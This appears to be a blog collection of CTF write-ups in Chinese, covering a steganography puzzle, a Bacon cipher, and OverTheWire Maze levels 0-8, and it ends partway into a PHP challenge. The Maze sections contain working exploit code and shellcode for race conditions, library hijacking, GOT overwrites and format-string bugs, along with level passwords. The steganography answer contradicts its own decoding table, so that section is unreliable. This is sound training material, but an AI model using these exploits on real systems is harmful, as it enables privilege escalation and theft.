Hello Navi

Tech, Security & Personal Notes

Challenge

I have drawn a picture of a caterpillar and hid some text in it. I am sure you can figure it out, as it is not too hard :)

Solution

下载 caterpillar.png(220x55, RGBA)

标准 stegano 分析(zsteg, bit plane 扫描, LSB/MSB 全通道)无结果。PNG 只有 IHDR/sRGB/bKGD/pHYs/IDAT/IEND 六个 chunk,无附加数据。

数据不在 RGB 裸值里,而是藏在其他色彩空间的 Hue 值中。

RGB 是加色混色——R, G, B 各 0-255。毛虫的主色是黄绿,以 RGB(135,194,41) 为例:

  • R=135:不在可打印 ASCII 范围(32-126)外,chr(135) 是扩展字符
  • G=194:同上,超出范围
  • B=41:chr(41) = ),无意义

直接用 RGB 值当 ASCII 只能得到一堆乱码。

色彩空间可以互相转换

RGB 和 HSV 描述的是同一个颜色,只是坐标系不同——就像经纬度 (116.4°E, 39.9°N) 和北京市地址是同一地点。

1
2
3
4
5
6
7
8
9
10
11
import colorsys

r, g, b = 135, 194, 41

# RGB -> HSV
h, s, v = colorsys.rgb_to_hsv(r/255, g/255, b/255)
# h = 83° (色相角度), s = 79% (饱和度), v = 76% (明度)

# HSV -> RGB (可逆)
r2, g2, b2 = colorsys.hsv_to_rgb(h, s, v)
# (r2,g2,b2) == (135,194,41) # 无损还原

转换公式是解析的,无精度损失。

解法

毛虫的 8 个主 body segment,每个用了一种特定的颜色。RGB→HSV 后,H(色相角度)落在可打印 ASCII 范围内:

1
2
3
4
5
6
7
8
9
10
segment 1 (x=  0- 22)  #e1f0c9    H=83° -> 'S'
segment 2 (x= 23- 46) #e8f4d7 H=85° -> 'U'
腿阴影 (x= 47- 69) #6e7d4d H=79° -> 'O'
腿阴影 (x= 70- 92) #465512 H=73° -> 'I'
segment 3 (x= 93-115) #a9bb27 H=67° -> 'C'
segment 4 (x=116-140) #557315 H=79° -> 'O'
segment 5 (x=141-165) #7dad30 H=83° -> 'S'
segment 6 (x=166-187) #eaf4d0 H=77° -> 'M'
头部 (x=188-219) #e06478 H=350° -> 不可打印 (结束标记)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from PIL import Image
import colorsys
from collections import Counter

img = Image.open('caterpillar.png').convert('RGBA')
w, h = img.size

# 逐列取最常见的非白色 Hue
x_hues = {}
for x in range(w):
hues = []
for y in range(h):
r, g, b, a = img.getpixel((x, y))
if (r, g, b) == (255, 255, 255):
continue
h_val, _, _ = colorsys.rgb_to_hsv(r/255, g/255, b/255)
hues.append(round(h_val * 360))
if hues:
x_hues[x] = Counter(hues).most_common(1)[0][0]

# 合并连续相同 Hue 为段,只保留稳定段(>=10 列宽)
result = []
run_h, run_start, run_len = None, None, 0
for x in range(w):
h = x_hues.get(x)
if h == run_h:
run_len += 1
else:
if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))
run_h, run_start, run_len = h, x, 1

if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))

decoded = ''.join(result)
print(f'Decoded Hue sequence: {decoded}')
print(f'Answer (last word): {decoded.split()[-1]}')
COLOR-SHEMES

Challenge

Mr. Bacon is back with an advanced Bacon cipher. The encoder uses a non-standard mapping where the case pattern depends on the letter's position in the alphabet (a-m vs n-z), not just uppercase/lowercase.

Solution

从 GitHub 源码 (gizmore/gwf3) 分析编码器逻辑:

1
2
// bit=0: letter a-m → UPPERCASE (match), n-z → lowercase (skip)
// bit=1: letter n-z → UPPERCASE (match), a-m → lowercase (skip)

解码方法: 1. 遍历 carrier 文本,只看 UPPERCASE 字母 2. 每个大写字母提取 1 bit:a-m→0, n-z→1 3. 小写字母是噪声(编码器跳过的位置),忽略 4. 拼接 bit stream,每 5 bit 一组查 26 字母表(A=00000..Z=11001) 5. X=space

1
2
3
letters = [c for c in encoded_text if c.isalpha()]
bits = ''.join('0' if c.lower() < 'n' else '1' for c in letters if c.isupper())
answer = ''.join(chr(int(bits[i:i+5], 2) + 65) for i in range(0, len(bits), 5))
OCGMBBNGDAAM

level 0 → level 1

1
2
3
4
5
6
7
SSH Information
Host: maze.labs.overthewire.org
Port: 2225
User: maze0
Pass: maze0
Passwords: /etc/maze_pass/
Binaries: /maze/

Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9 关(0-8)。涵盖 TOCTOU race condition、library hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace 反调试、格式字符串漏洞等。

所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info 和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。

1
2
3
4
5
6
7
8
9
10
11
maze0@maze:~$ ls -la /maze/
total 140
-r-sr-x--- 1 maze1 maze0 13408 maze0
-r-sr-x--- 1 maze2 maze1 12252 maze1
-r-sr-x--- 1 maze3 maze2 12708 maze2
-r-sr-x--- 1 maze4 maze3 4728 maze3
-r-sr-x--- 1 maze5 maze4 16220 maze4
-r-sr-x--- 1 maze6 maze5 14884 maze5
-r-sr-x--- 1 maze7 maze6 14204 maze6
-r-sr-x--- 1 maze8 maze7 14716 maze7
-r-sr-x--- 1 maze9 maze8 16324 maze8

每个 level 的 binary 命名规则:/maze/mazeN 是 setuid maze(N+1),跑在 mazeN 下,目标是读 /etc/maze_pass/maze(N+1)

经典 TOCTOU (Time-of-check Time-of-use) 竞争条件。

Binary 逻辑(r2 反汇编):

  1. memset(buf, 0, 0x14) — 清空 20 字节 buffer
  2. access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK) — 用 real uid (maze0) 检查可读性
  3. 如果 access 失败 → 直接 return
  4. setresuid(maze1, maze1, maze1) — 全部提权到 maze1
  5. open(path, O_RDONLY)read(fd, buf, 19)write(1, buf, 19) — 读取并输出

race window 在 access() 和 open() 之间,只有十几个指令周期。ln -sf 太慢,需要用 rename() 原子交换预创建的 symlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// toggle.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"

int main() {
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
while (1) {
rename("/tmp/_m0", TARGET); // 原子 → maze0
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
rename("/tmp/_m1", TARGET); // 原子 → maze1
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
}
}
1
2
3
4
5
6
7
8
9
maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c
maze0@maze:/tmp$ ./toggle & # 后台 symlink 切换
maze0@maze:/tmp$ for i in $(seq 1 1000); do
result=$(/maze/maze0 2>/dev/null)
if [ -n "$result" ]; then
echo "HIT: $result"; break
fi
done
HIT: **********

原理:rename() 在同一文件系统上是原子的,target 始终指向一个有效文件(无 broken symlink 窗口)。access() 通过时 link 指向 maze0(maze0 可读),open() 时已被换为 maze1(maze1 可读)。

kfL7RRfpkY

level 1 → level 2

maze1 的 binary 链接了一个不存在的 ./libc.so.4

1
2
3
4
5
6
maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...

maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED
NEEDED ./libc.so.4
NEEDED libc.so.6

Binary 只调用 puts("Hello World!")。创建 hook library 劫持 puts() 即可读密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// hookputs.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int puts(const char *message) {
FILE *fp;
char buffer[30] = {0};
fp = fopen("/etc/maze_pass/maze2", "r");
if (fp) { fread(buffer, 29, 1, fp); fclose(fp); }
printf("PASSWORD: %s\n", buffer);
return printf("Hooked: %s\n", message ? message : "(null)");
}
1
2
3
4
5
maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \
-o libc.so.4 hookputs.c -ldl
maze1@maze:/tmp/work$ /maze/maze1
PASSWORD: **********
Hooked: Hello World!

注意需要 -fno-stack-protector 关闭 stack canary,否则 ld 链接时报 __stack_chk_fail_local 未定义。

PBeZRPjetr

level 2 → level 3

maze2 的 binary 从 argv[1] 复制 8 字节到栈上 buffer,然后 call *buffer — 8 字节 shellcode 约束。

反汇编要点:

1
2
3
4
cmpl $2, 8(%ebp)          ; if argc != 2 → exit(1)
strncpy(buf, argv[1], 8) ; copy 8 bytes
mov buf_addr, %eax
call *%eax ; execute shellcode

解决方案:真正 shellcode 存入环境变量 SC,8 字节只做 push <addr>; ret(6 字节)。

maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
maze2@maze:/tmp/work$ python3 -c "
from pwnlib.asm import asm
import sys
sc = asm('
xor eax,eax;mov al,70
xor ebx,ebx;mov bx,0x3a9b
xor ecx,ecx;mov cx,0x3a9b
int 0x80
xor eax,eax;push eax
push 0x68732f2f;push 0x6e69622f
mov ebx,esp;xor ecx,ecx
xor edx,edx;mov al,11
int 0x80
', arch='i386')
sys.stdout.buffer.write(b'\x90'*200 + sc)
" > sc.bin

maze2@maze:/tmp/work$ export SC=$(cat sc.bin)
maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h>
#include <stdlib.h>
int main(){printf("SC:%p\n",getenv("SC"));}'

maze2@maze:/tmp/work$ ./getaddr
SC at 0xffffdcd0

maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c "
from pwnlib.asm import asm
import sys
sys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386'))
")
$ cat /etc/maze_pass/maze3
DSEiCewQOv

level 3 → level 4

maze3 的 binary 是静态链接的(statically linked),使用自修改代码(self-modifying code)。

mprotect() 设置代码段 RWX,然后用 key 0x12345678 XOR 解码 d1 函数区域,reveal 出一段 shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则 setreuid(maze4) + execve("/bin/sh")

1
2
3
# <<<(here-string)
maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4"
**********

注意:0x1337c0de 作为 int 是 little-endian \xde\xc0\x37\x13

vghylBpihH

level 4 → level 5

maze4 的 binary 读取用户提供的文件,解析为 ELF header + program header,验证通过后 execv() 执行。

验证逻辑(反汇编):

  1. read(fd, &ehdr, 0x34) — 读 52 bytes ELF header 到栈上
  2. lseek(fd, ehdr.e_phoff, SEEK_SET) — 定位到 program header
  3. read(fd, &phdr, 0x20) — 读 32 bytes program header
  4. 检查 1: phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个 byte 乘积)
  5. 检查 2: stat.st_size <= 0x7b(文件大小 ≤ 123 bytes)
  6. puts("valid file, executing"); execv(file, NULL, NULL);

execv() 保留 setuid 权限 — 但 shell (/bin/sh) 会主动 drop privilege。需要编译一个专用 reader binary。

1
2
3
4
5
6
7
8
9
maze4@maze:/tmp/work$ cat > reader.c << EOF
#include <unistd.h>
#include <fcntl.h>
int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0);
int n=read(fd,b,49);write(1,b,n);return 0;}
EOF

maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c
maze4@maze:/tmp/work$ ln -sf reader r

ELF header 与 shebang #!/tmp/maze4w/r\n 重叠。e_ident[7][8] 由 shebang 的第 7、8 字节决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
maze4@maze:/tmp/work$ python3 -c "
import struct
sh = b'#!/tmp/maze4w/r\n'
b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a')
prod = b7 * b8 # 0x295d
pad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置)
data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16
open('elf_file','wb').write(data)
"

maze4@maze:/tmp/work$ chmod +x elf_file
maze4@maze:/tmp/work$ /maze/maze4 elf_file
valid file, executing
**********
  • shebang 指向编译好的 reader binary(不 drop privilege)
  • ELF header 字节与 shebang 重叠,e_ident[7][8] 必须是 shebang 的实际字符
  • e_phoff = 0x20 让 program header 与 ELF header 尾部重叠
  • p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident 字节的乘积
fobwgnzRy0

level 5 → level 6

maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用 foo(user, pass) 校验。

反编译逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
int foo(char* user, char* pass) {
char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c};
for (int i = 0; i < strlen(pass); ++i) {
p[i] -= user[i] + 2 * i - 0x41;
}
int i = strlen(pass);
do {
i -= 1;
if (i == 0) return 1;
} while (pass[i] == p[i]);
return 0;
}

要 pass:user[i] + 2*i - 0x41 = 0user[i] = chr(0x41 - 2*i)。此时 p 数组不变,key = 原始 p 值 = printlol

Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用 system("/bin/sh")

但 pipeline 传入 input 时 system() 产生的 shell 会收到 SIGTTOU。需要使用 pty:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pty, os, time

pid, fd = pty.fork()
if pid == 0:
os.execv("/maze/maze5", ["/maze/maze5"])
else:
time.sleep(0.5)
os.write(fd, b"A?=;9753\n")
time.sleep(0.3)
os.write(fd, b"printlol\n")
time.sleep(0.3)
os.write(fd, b"cat /etc/maze_pass/maze6\n")
time.sleep(0.5)
while True:
data = os.read(fd, 4096)
if not data: break
print(data.decode(errors="ignore"), end="")
1
2
3
4
5
6
X----------------
Username: A?=;9753
Key: printlol

Yeh, here's your shell
**********
dOM2C7ZKlG

level 6 → level 7

maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE 的组合题。

1
2
3
4
5
6
maze6@maze:~$ /maze/maze6
usage: /maze/maze6 file2write2 string

maze6@maze:~$ /maze/maze6 /tmp/out test
maze6@maze:~$ cat /tmp/out
/tmp/out : khin # "test" XOR 0x2A per byte = khin

Binary 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
main:
sub esp, 0x104 ; buf[260] at ebp-0x104
cmp [ebp+8], 3 ; argc == 3?
jne usage
; fd = fopen(argv[1], "w")
call fopen ; → eax = 0x0804c1a0 (deterministic)
mov [ebp-4], eax ; fd at ebp-4
; strcpy(buf, argv[2])
lea eax, [ebp-0x104]
push [ebp+0xc]+8 ; argv[2]
push eax
call strcpy ; NO bounds check
; len = strlen(buf)
; memfrob(buf, len) ; XOR each byte with 0x2A
call strlen
push eax
lea eax, [ebp-0x104]
push eax
call memfrob
; fprintf(fd, "%s : %s\n", argv[1], buf)
push [ebp-0x104] ; buf
push argv[1]
push "%s : %s\n"
push [ebp-4] ; fd
call fprintf
; exit(0)
push 0
call exit ; never returns

安全属性(readelf -l + objdump -R):

1
2
3
4
5
ASLR          off (`randomize_va_space=0`)
RELRO none — GOT writable
NX disabled — GNU_STACK RWE
Stack canary none (`-fno-stack-protector`)
PIE none — fixed base 0x08048000

关键常量(ASLR off 下固定):

1
2
3
4
5
6
libc 32-bit base     = 0xf7d82000
_IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8)
fopen → FILE* = 0x0804c1a0 (heap)
buf = 0xffffda74 (ebp-0x104)
strcpy@got = 0x0804b204
exit@got = 0x0804b208

栈布局(从低到高):

1
2
3
4
5
6
7
ebp-0x104  buf[0]        ← strcpy 目标
...
ebp-0x04 fd (FILE*) ← offset 256 from buf
ebp saved ebp
ebp+0x04 return addr
ebp+0x08 argc
ebp+0x0c argv

漏洞利用链

目标:覆写 exit@got 为 shellcode 地址,让 exit(0) 跳转到 shellcode。

约束

  1. strcpy(buf, argv[2]) 只能通过 argv 传入,不能含 \x00(否则 strcpy 截断)
  2. memfrob(buf, len) XOR 整个 buf 区域 — 所有数据需 pre-XORpayload_byte ^ 0x2A = desired_byte
  3. fprintf 不接受 fake FILE* → 需要在栈上构造合法的 _IO_FILE 结构
  4. exit(0) 无 return → 只能通过 GOT overwrite 劫持控制流

关键洞察 1:pre-XOR 一切

1
2
3
4
5
6
def pre_xor(val):
return val ^ 0x2A2A2A2A # 每个字节 XOR 0x2A

# memfrob 会把 buf[i] ^= 0x2A
# 所以放入 buf 的字节 = desired_byte ^ 0x2A
# → 经过 memfrob 后恢复为 desired_byte

关键洞察 2:argv[1] 即 shellcode 地址

fprintf 输出 "%s : %s\n",第一个 %sargv[1](文件名)。如果 argv[1] 恰好是 4 字节,则 exit@got 的前 4 字节 = argv[1] 的内容。

因此将 argv[1] 设为 4 字节的 shellcode 地址(\x74\xda\xff\xff = 0xffffda74),fopen 以 "w" 模式打开这个怪文件名不会有问题(Linux 允许任意非 \x00/ 的字节做文件名)。只需从 /tmp 目录运行,相对路径刚好 4 字节。

关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE 布局

通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:

1
2
3
4
5
6
7
8
9
10
offset  field              real FILE value    our fake FILE
------ ---- ---------------- -------------
0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES)
0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got)
0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer)
0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000)
0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain)
0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush)
0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock)
0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)

关键点:

  • _IO_write_base == _IO_write_ptr == exit@got → fprintf 直接写入 GOT
  • _IO_write_end 远大于输出长度 → 永远不会触发 buffer flush(避免 vtable overflow 调用)
  • _lock 复用真实 FILE 的 lock(单线程程序,无竞争)
  • vtable 指向 libc 的合法 _IO_file_jumps(通过 _IO_validate_vtable 检查)

Exploit 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import struct, os

def pre_xor_dword(val):
return val ^ 0x2A2A2A2A

def pre_xor_bytes(data):
return bytes([b ^ 0x2a for b in data])

# ---- addresses (ASLR off, glibc 2.39) ----
buf_addr = 0xffffda74
exit_got = 0x0804b208
libc_base = 0xf7d82000
io_file_jumps = libc_base + 0x002287a8 # 0xf7faa7a8
real_lock = 0x0804c238 # reuse fopen's lock

# ---- build fake FILE (0x98 bytes) ----
fake_file_off = 0x30 # offset in buf
fake_file_addr = buf_addr + fake_file_off

fake = b''
fake += struct.pack('<I', pre_xor_dword(0xfbad2480)) # 0x00 _flags
fake += struct.pack('<I', pre_xor_dword(0)) * 3 # 0x04-0x0C read ptrs
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x10 _IO_write_base
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x14 _IO_write_ptr
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x18 _IO_write_end
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x1C _IO_buf_base
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x20 _IO_buf_end
for _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) # 0x24-0x34
fake += struct.pack('<I', pre_xor_dword(2)) # 0x38 _fileno
for _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) # 0x3C-0x44
fake += struct.pack('<I', pre_xor_dword(real_lock)) # 0x48 _lock
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x4C _offset (8 bytes)
for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) # 0x54-0x60
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x64 __pad5
fake += struct.pack('<I', pre_xor_dword(0)) # 0x6C _mode
for _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) # 0x70-0x93
fake += struct.pack('<I', pre_xor_dword(io_file_jumps)) # 0x94 vtable

assert len(fake) == 0x98

# ---- shellcode: execve("/bin/sh") ----
sc = (
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
b'\x68\x2f\x62\x69\x6e\x89\xe3\x50'
b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
)
sc_prexor = pre_xor_bytes(sc)

# ---- assemble payload ----
payload = sc_prexor
payload += bytes([0x2a] * (fake_file_off - len(payload))) # pad to fake FILE
payload += fake
payload += bytes([0x2a] * (0x100 - len(payload))) # pad to fd
payload += struct.pack('<I', pre_xor_dword(fake_file_addr))# overwrite fd

# ---- argv[1] = 4 bytes = buf_addr ----
argv1 = struct.pack('<I', buf_addr) # \x74\xda\xff\xff

# ---- execute ----
os.chdir('/tmp')
os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])

执行:

1
2
3
maze6@maze:/tmp$ python3 exploit.py
$ cat /etc/maze_pass/maze7
**********

技术要点

为什么 fake FILE 不触发 vtable overflow?

fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ 4 + 3 + 260 + 1 = 268 bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc 宏检测到 _IO_write_ptr < _IO_write_end 时直接内存写入,不触发 __overflow() → vtable 调用。因此 vtable 仅需通过 _IO_validate_vtable 的地址范围检查,不需要实际调用。

为什么 lock 复用真实 FILE 的?

glibc 的 _IO_lock_lock(fp) 检查 fp->_lock != NULL 才会加锁。用真实 FILE 的 lock(0x0804c238)保证 lock 结构合法且初始为 unlocked 状态。

为什么 memfrob 不影响 shellcode?

所有放入 payload 的字节都经过 pre_XORbyte ^ 0x2A)。memfrob 再 XOR 一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。

B6XkM3Syq6

level 7 → level 8

/maze/maze7 是一个 ELF section header dumper。读取攻击者提供的 ELF 文件,信任 header 里的 e_shoffe_shnume_shentsizee_shstrndx,循环打印 section 信息。

漏洞点在第二次读取 section header:

1
2
read(fd, &shdr_on_stack, e_shentsize);
printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);

shdr_on_stack 是固定大小的 Elf32_Shdr,但 e_shentsize 完全由文件控制。设大以后 read() 会从 section header 覆盖到 saved return address。

live 调试测得偏移:section-header stack buffer + 64 → saved eip。

直接覆盖会先在 free(ptr) / free(strs) 崩掉,因为栈上的 heap 指针也被污染。稳定做法:

  1. 构造最小 fake ELF
  2. e_shentsize = 220,触发大读
  3. 第一段 section header 保持基本合法,让程序走到 printf()
  4. 覆盖局部变量 ptr = NULLstrs = NULL,让后续 free(NULL) 安全返回
  5. sh_name 不用 string table 偏移,放成一个可读 rodata 绝对地址,满足 printf(ptr + sh_name, ...)
  6. saved eip 跳到栈上 NOP sled,shellcode 执行 setresuid(15008,15008,15008); execve('/bin/sh')

利用生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pathlib import Path
import struct

def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx):
e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1
struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx)
return e

def build(ret, buf, path):
data=bytearray(b'\x00'*0x800)
data[:52]=ehdr(0x100,0,220,0)
data[0x180:0x183]=b'\x00Z\x00'
sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80')
payload=bytearray(b'\x00'*220)
# ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer.
struct.pack_into('<I', payload, 0x00, 0x0804a008)
struct.pack_into('<I', payload, 0x0c, 0x11111111) # sh_addr
struct.pack_into('<I', payload, 0x10, 0x180) # sh_offset
struct.pack_into('<I', payload, 0x14, 3) # sh_size
payload[72:74]=b'A\x00'
# Overwritten locals after 40-byte shdr.
struct.pack_into('<I', payload, 40, 0) # ptr local -> NULL; printf uses absolute sh_name
struct.pack_into('<I', payload, 44, 0) # var_10h scratch
struct.pack_into('<I', payload, 48, 0) # strs local -> NULL; free(NULL) safe
struct.pack_into('<I', payload, 52, 0) # shdr counter
struct.pack_into('<I', payload, 56, 0x42424242) # saved ebx
struct.pack_into('<I', payload, 60, 0x43434343) # saved ebp
struct.pack_into('<I', payload, 64, ret) # saved eip
payload[80:160]=b'\x90'*80
payload[160:160+len(sc)]=sc
data[0x100:0x100+len(payload)]=payload
Path(path).write_bytes(data)

if __name__ == '__main__':
import sys
ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70
buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14
build(ret, buf, 'maze7_exploit.elf')
print(hex(ret), hex(buf))

执行:

1
2
3
4
5
maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf
$ id
uid=15008(maze8) gid=15007(maze7) groups=15007(maze7)
$ cat /etc/maze_pass/maze8
**********
eQdZB1qy6L

level 8 → level 9

/maze/maze8 是 TCP format string service。接受端口参数监听本地,错误口令路径:

1
2
3
recv(client_fd, input, 511, 0);
snprintf(reply, 512, input);
send(client_fd, reply, strlen(reply), 0);

探测 format offset:

1
AAAA.%1$08x -> AAAA.41414141

payload 开头的 dword 就是第一个 positional argument。strlen()snprintf() 后立刻调用,可覆盖 strlen@got

1
strlen@got = 0x0804b268

payload 结构:

1
2
3
4
5
6
payload  = p32(strlen_got)
payload += p32(strlen_got + 2)
payload += b"%<low-8>x%1$hn"
payload += b"%<high-low>x%2$hn"
payload += b"\x90" * pad
payload += shellcode

最初尝试把 strlen@got 指向 /bin/sh shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程 socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client socket。

最终解法是不 spawn shell,而是让 shellcode 直接完成取证:

1
2
3
4
5
setresuid(15009,15009,15009)
open('/etc/maze_pass/maze9', O_RDONLY)
read(fd, esp, 64)
write(4, esp, n) ; accepted client fd
exit(0)

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import socket
import struct
import subprocess
import sys
import time
import select

PORT = 31338
STRLEN_GOT = 0x0804b268
TARGET = 0xffffda50

# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)
SC = bytes.fromhex(
'31c0b0a431db66bba13a89d989dacd80'
'31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80'
'89c389e1b240b003cd80'
'89c231dbb304b004cd80'
'31dbb001cd80'
)


def payload_for(target):
low = target & 0xffff
high = (target >> 16) & 0xffff
writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)]
writes.sort(key=lambda item: item[1])
prefix = struct.pack('<II', writes[0][0], writes[1][0])
count = len(prefix)
pad1 = (writes[0][1] - count) % 0x10000
pad2 = (writes[1][1] - writes[0][1]) % 0x10000
fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode()
return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'


proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(0.4)
try:
sock = socket.create_connection(('127.0.0.1', PORT), timeout=2)
sock.recv(200)
sock.sendall(payload_for(TARGET))
end = time.time() + 4
out = b''
while time.time() < end:
readable, _, _ = select.select([sock], [], [], 0.2)
if not readable:
continue
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
sys.stdout.buffer.write(out)
finally:
proc.terminate()
try:
proc.wait(timeout=1)
except subprocess.TimeoutExpired:
proc.kill()

live 输出:

1
2
maze8@maze:/tmp$ python3 solve_maze8_readpass.py
**********

完成证明:

1
2
3
4
5
$ ssh -p 2225 maze9@maze.labs.overthewire.org
maze9@maze:~$ id
uid=15009(maze9) gid=15009(maze9) groups=15009(maze9)
maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9
-r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9
TtMMzTuXyi

PHP0816 Challenge - The Highlighter 一个带白名单的 PHP source highlighter。目标是绕过 src 白名单,读到 solution.php

Challenge

PHP 0816 是 PHP 0815 后面的一个小型 Web/PHP 题,难度 4.10。页面给了几个链接:

  • solution.php:真正想读的文件。
  • code.php?src=code.php&mode=hl:用 highlighter 查看 code.php 自身。
  • code.php?src=code.php&hl[0]=function&mode=hl:同样查看源码,但额外高亮 function

也就是说,题目没有隐藏源码。真正要看的就是 code.php 怎么处理 GET 参数。

核心代码先按 query string 里的参数顺序遍历 $_GET

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}

src 的白名单只允许三个文件:

1
2
3
4
5
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

目标是让 highlighter 读取白名单之外的 solution.php

Solution

先把约束列出来:

